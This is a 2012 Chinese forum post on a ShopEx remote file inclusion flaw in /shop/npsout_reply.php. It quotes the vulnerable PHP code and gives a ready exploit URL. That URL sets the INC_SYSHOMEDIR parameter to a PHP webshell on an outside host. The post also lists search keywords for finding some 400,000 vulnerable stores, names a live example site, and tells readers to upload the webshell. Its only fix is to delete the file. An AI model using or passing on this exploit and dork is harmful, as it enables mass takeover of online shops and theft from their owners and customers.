查看: 1502|回复: 0
收起左侧

SHOPEX最新漏洞利用及解决方案

[复制链接]
发表于 2012-5-10 11:27:20 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转随县论坛。

您需要 登录 才可以下载或查看,没有账号?注册会员

×
漏洞平台:SHOPEX
  危害程度:★★★★☆  关于ShopEx:
  ShopEx是网络购物软件与技术服务全面提供商,ShopEx做为国内购物软件的开拓者和实践者,提供了从购物软件(包括网上商店、网上商城、网上商店多店系统)到相关配套服务(网店推广、模板设计、流量监测、商业智能分析、网上支付、网店互联、购物系统定制开发等)以及深层次的电子商务技术服务。
  漏洞原理:
  看这里:/shop/npsout_reply.php
include_once($INC_SYSHOMEDIR."include/PayFunction.php");
//=========================== 把商家的相关信息返回去 =======================
//接收组件的加密
$OrderInfo = $_POST[OrderMessage]; //订单加密信息
$signMsg = $_POST[Digest]; //密匙
$m_id = $_POST[m_id];
//=========================== 开始加密 ====================================
//检查签名
$shopPayment = newclass("shopPayment");
$key = $shopPayment->getKey($INC_SHOPID, $m_id, "NPS_OUT");
$digest = md5($OrderInfo.$key);
//var_dump($_POST);
if ($digest == $signMsg)
{
//将HEX还原成字符
$OrderInfo = HexToStr($OrderInfo);
//DES解密
$recovered_message = des($key, $OrderInfo, 0, 1, null);
//echo "DES Test Decrypted: " . $recovered_message;
$orderArray = split([|],$recovered_message);
$m_id = $orderArray[0];
$m_orderid = $orderArray[1];
$m_oamount = $orderArray[2];
$m_ocurrency = $orderArray[3];
$m_url = $orderArray[4];
// m_txcode = array[5];
$m_language = $orderArray[5];
$s_name = $orderArray[6];
$s_addr = $orderArray[7];
$s_postcode = $orderArray[8];
$s_tel = $orderArray[9];
$s_eml = $orderArray[10];
$r_name = $orderArray[11];
$r_addr = $orderArray[12];
$r_postcode = $orderArray[13];
$r_tel = $orderArray[14];
$r_eml = $orderArray[15];
$m_ocomment = $orderArray[16];
$modate = $orderArray[17];
$Status = $orderArray[18];
if ($Status == 2)
{
$Order = newclass("Order");
$Order->shopId = $INC_SHOPID;
$Order->payid = $m_orderid;
$arr_paytime = getUnixtime(); //支付时间
$Order->onlinePayed($arr_paytime[0], $arr_paytime[1]);

$tmp_orderno = $Order->getorderidbyPayid($Order->payid); //拿出商店订单号
$state = 2 ;
$strinfo = $PROG_TAGS["ptag_1334"];
}
else{
$state = 1 ;
$strinfo = $PROG_TAGS["ptag_1335"];
}
}else{
$state = 0 ;
$strinfo = $PROG_TAGS["ptag_1336"];
}
Header("Location: ./index.php?gOo=pay_reply.dwt&orderid=".$tmp_orderno."&state=".$state."&strinfo=".urlencode($strinfo));
?>
  假设在 根目录下有个include文件夹,里面有PayFunction.php文件(这是我们自己构造的,当然文件的内容可是小马也可是大马 呵呵)
  我们用如下方法就可以利用之
  简单的说远程攻击者可以利用漏洞以WEB进程权限执行任意PHP命令。具体情节是npsout_reply.php脚本对用户提交的npsout_root_path参数缺少过滤指定远程服务器上的任意文件作为包含对象,可导致以WEB权限执行任意PHP代码
  漏洞实战:
构造URL:
?
注意:
[http://www.sagi.net.cn/php.txt?] 其实并没有在 所在的服务器上执行而是在 "" 上执行的。
  简单的说.通过SHOPEX系统,我在中国的服务器上执行了美国服务器上的代码。而这个代码的主人是美国服务器。却在中国的服务器上被执行。
  所以我在中国的服务器上执行命令。美国的服务器就乖乖的执行任务。就这么简单。
  漏洞实验:
  关键词:产品目录 联系我们 关于我们 常见问题 安全交易 购买流程 如何付款
  可以找到40多万个用此系统的站.也就意味着40多万个站将被沦陷.
  在目标站后面加上:/shop/npsout_reply.php?INC_SYSHOMEDIR=http://www.sagi.net.cn/php.txt?
  就出现了远程执行php大马的画面。
SHOPEX最新漏洞利用及解决方案最新,漏洞,利用,解决方案
  如:http://www.oicqshop.com/oicqshop ... agi.net.cn/php.txt?
  然后上传php大马,就可以了。
SHOPEX最新漏洞利用及解决方案最新,漏洞,利用,解决方案
SHOPEX最新漏洞利用及解决方案最新,漏洞,利用,解决方案
SHOPEX最新漏洞利用及解决方案最新,漏洞,利用,解决方案
  至于解决方案.官方未公布。

  可以删除shop目录下的npsout_reply.php文件。


SHOPEX最新漏洞利用及解决方案最新,漏洞,利用,解决方案 该贴已经同步到 ℡幽月╃冰心的微博
您需要登录后才可以回帖 登录 | 注册会员

本版积分规则

快速入职
隐私保护
薪资透明
信息可靠
手机找工作

快速回复 返回顶部 返回列表